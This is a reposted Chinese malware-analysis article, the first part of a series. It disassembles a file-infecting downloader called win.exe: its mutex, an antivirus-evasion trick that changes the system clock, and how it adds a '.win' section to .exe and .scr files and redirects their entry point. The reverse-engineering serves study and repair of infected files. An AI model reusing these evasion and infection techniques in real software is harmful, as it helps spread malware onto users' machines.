天天看點

程式設計

感染型下載下傳者win.exe部分行為分析(上)

[url]http://www.hacker.com.cn/[/url] 2008-6-2 2:17:04 黑客防線

本文涉及的問題:

1. 它是如何感染一個.exe或.scr檔案的

2. 被感染檔案被加入的代碼内容及其行為

3. 基于1和2,簡要說明被感染檔案的修複問題

本文沒有涉及的問題:

1. 該病毒如何修改系統資料庫

2. 該病毒生成哪些病毒體檔案(包括是否在磁盤根目錄生成病毒副本)

3. 該病毒如何下載下傳其他病毒

4. 該病毒感染哪些檔案夾下的檔案

以上這些内容,就待各位同仁去挖掘了。

樣本來源:劍盟樣本

程式設計

[url]http://bbs.janmeng.com/thread-675071-1-1.html[/url]

加殼情況:加upx殼,直接用脫殼機脫殼(太懶了-_-)

脫殼後:基址13140000,入口點偏移00015570

分析方法:脫殼後od載入看反彙編結果

病毒定性:(改節表)感染型下載下傳者

前奏(準備工作):

建立名為wokaon的互斥對象,enumwindows似乎是在找卡巴的視窗,找到後則先将系統年份改為1984年(7c0h),sleep了20秒等卡巴挂掉後,再把時間改回來。這部分反彙編結果:

***************************************************************************************************

13155581 68 68561513     push 13155668                                   ; ascii "wokaon"

13155586 6a 00           push 0

13155588 6a 00           push 0

1315558a e8 c508ffff     call <createmutex>                            ;delphi封裝函數

1315558f 8bd8          mov     ebx, eax

13155591 e8 8609ffff     call <jmp.&kernel32.getlasterror>

13155596 3d b7000000     cmp     eax, 0b7

1315559b 0f84 ba000000 je    1315565b

131555a1 c605 a8791513 0>mov     byte ptr [131579a8], 0

131555a8 6a 00           push 0

131555aa 68 a4531513     push 131553a4

131555af e8 800affff     call <jmp.&user32.enumwindows>

131555b4 803d a8791513 0>cmp     byte ptr [131579a8], 0

131555bb 75 07           jnz     short 131555c4

131555bd e8 f2eaffff     call 131540b4

131555c2 eb 44           jmp     short 13155608

131555c4 68 98791513     push 13157998

131555c9 e8 5609ffff     call <jmp.&kernel32.getlocaltime>

131555ce 66:8b1d 9879151>mov     bx, word ptr [13157998]

131555d5 66:c705 9879151>mov     word ptr [13157998], 7c0

131555de 68 98791513     push 13157998

131555e3 e8 dc09ffff     call <jmp.&kernel32.setlocaltime>

131555e8 68 204e0000     push 4e20

131555ed e8 ca64ffff     call <jmp.&kernel32.sleep>

131555f2 e8 bdeaffff     call 131540b4

131555f7 66:891d 9879151>mov     word ptr [13157998], bx

131555fe 68 98791513     push 13157998

13155603 e8 bc09ffff     call <jmp.&kernel32.setlocaltime>

13155608 68 10270000     push 2710

1315560d e8 aa64ffff     call <jmp.&kernel32.sleep>

建立兩個線程,一個用于植入病毒和感染檔案,另一個應該是用于下載下傳的。

1315561c 68 90791513     push 13157990

13155621 6a 00           push 0

13155623 6a 00           push 0

13155625 68 88481513     push offset <threadfun1>

1315562a 6a 00           push 0

1315562c 6a 00           push 0

1315562e e8 4908ffff     call <jmp.&kernel32.createthread>

13155633 68 94791513     push 13157994

13155638 6a 00           push 0

1315563a 6a 00           push 0

1315563c 68 14501513     push offset <threadfun2>

13155641 6a 00           push 0

13155643 6a 00           push 0

13155645 e8 3208ffff     call <jmp.&kernel32.createthread>

我比較關心感染檔案的内容。感染前有判斷驅動器屬性,不過delphi對此封裝得太多,我看call看得眼花。是以它是哪些檔案夾下的檔案不感染,哪些檔案夾下的檔案被感染,這個我沒有仔細看。

最後進入n多個call後找到對.exe和.scr檔案進行感染的部分代碼

一、病毒對.exe和.scr檔案的pe結構進行識别并感染的部分分析

代碼從13152d8c開始,先createfilea打開檔案之後進行識别并感染。

部分進行感染的代碼:

讀dos檔案頭,定位pe頭:

13152e00 6a 00           push 0

13152e02 8d45 ec       lea     eax, dword ptr [ebp-14]

13152e05 50              push eax

13152e06 6a 40           push 40

13152e08 8d45 a8       lea     eax, dword ptr [ebp-58]

13152e0b 50              push eax

13152e0c 8b45 f4       mov     eax, dword ptr [ebp-c]

13152e0f 50              push eax

13152e10 e8 7f31ffff     call <jmp.&kernel32.readfile>

13152e15 66:817d a8 4d5a cmp     word ptr [ebp-58], 5a4d       ;mz

13152e1b 74 11           je    short 13152e2e

……………………

13152e2e 6a 00           push 0

13152e30 6a 00           push 0

13152e32 8b45 e4       mov     eax, dword ptr [ebp-1c]       ;算一下,ebp-1c=ebp-58+3c,在上面的readfile之後,這裡正是e_lfanew,即到pe頭的偏移

13152e35 50              push eax

13152e36 8b45 f4       mov     eax, dword ptr [ebp-c]

13152e39 50              push eax

13152e3a e8 7d31ffff     call <jmp.&kernel32.setfilepointer>

讀pe頭,得到節數:

13152e3f 6a 00           push 0

13152e41 8d45 ec       lea     eax, dword ptr [ebp-14]

13152e44 50              push eax

13152e45 68 f8000000     push 0f8

13152e4a 8d85 b0feffff lea     eax, dword ptr [ebp-150]

13152e50 50              push eax

13152e51 8b45 f4       mov     eax, dword ptr [ebp-c]

13152e54 50              push eax

13152e55 e8 3a31ffff     call <jmp.&kernel32.readfile>

13152e5a 81bd b0feffff 5>cmp     dword ptr [ebp-150], 4550    ;"pe\0\0"

13152e64 74 11           je    short 13152e77

…………………………

13152e77 33ff          xor     edi, edi

13152e79 33c0          xor     eax, eax

13152e7b 8945 f0       mov     dword ptr [ebp-10], eax

13152e7e 0fb79d b6feffff movzx ebx, word ptr [ebp-14a]                    ; 算一下,ebp-14a=ebp-150+06,正好是image_nt_headers結構中的numberofsections

循環讀每一個image_section_header結構,對比其名字是否是.win,以判斷是否已感染,并得到其他資訊:

13152e85 4b              dec     ebx

13152e86 85db          test ebx, ebx

13152e88 7c 60           jl    short 13152eea                      ;最後一節已完,跳出

13152e8a 43              inc     ebx

13152e8b 6a 00           push 0

13152e8d 8d45 ec       lea     eax, dword ptr [ebp-14]

13152e90 50              push eax

13152e91 6a 28           push 28

13152e93 56              push esi

13152e94 8b45 f4       mov     eax, dword ptr [ebp-c]

13152e97 50              push eax

13152e98 e8 f730ffff     call <jmp.&kernel32.readfile>

13152e9d 8d85 84feffff lea     eax, dword ptr [ebp-17c]

13152ea3 8bd6          mov     edx, esi

13152ea5 e8 9a12ffff     call 13144144

13152eaa 8b85 84feffff mov     eax, dword ptr [ebp-17c]

13152eb0 ba 90301513     mov     edx, 13153090                            ; ascii ".win"

13152eb5 e8 7a14ffff     call <cmpstring>

13152eba 75 11           jnz     short 13152ecd                             ; 不是.win節

13152ebc c745 f8 0200000>mov     dword ptr [ebp-8], 2                       ; 是.win節,已被感染過

13152ec3 e8 900bffff     call 13143a58

13152ec8 e9 87010000     jmp     13153054                                   ; 跳過感染的代碼

13152ecd 8b46 14       mov     eax, dword ptr [esi+14]                    ; 不是.win節,直接來到這裡

13152ed0 0346 10       add     eax, dword ptr [esi+10]

13152ed3 3bf8          cmp     edi, eax

13152ed5 73 02           jnb     short 13152ed9

13152ed7 8bf8          mov     edi, eax

13152ed9 8b46 0c       mov     eax, dword ptr [esi+c]

13152edc 0346 08       add     eax, dword ptr [esi+8]

13152edf 3b45 f0       cmp     eax, dword ptr [ebp-10]

13152ee2 76 03           jbe     short 13152ee7

13152ee4 8945 f0       mov     dword ptr [ebp-10], eax

13152ee7 4b              dec     ebx

13152ee8   ^ 75 a1           jnz     short 13152e8b

接着向堆棧中寫新的image_section_header,修改堆棧中之前得到的pe頭和dos頭結構的相關量(如節數,入口點等),并寫回原檔案相應位置。

其中:

13152eea bb 882d1513     mov     ebx, 13152d88

13152eef 81eb f82b1513 sub     ebx, 13152bf8

13152bf8到13152d88的位置,儲存有将被寫入被感染檔案的可執行代碼。

13152f8c 8b46 0c       mov     eax, dword ptr [esi+c]

13152f8f 05 c5000000     add     eax, 0c5

13152f94 81c0 042c1513 add     eax, 13152c04

13152f9a 81e8 f82b1513 sub     eax, 13152bf8

13152fa0 8985 d8feffff mov     dword ptr [ebp-128], eax

13152c04處的代碼,将成為程式的入口點指向的代碼。

繼續閱讀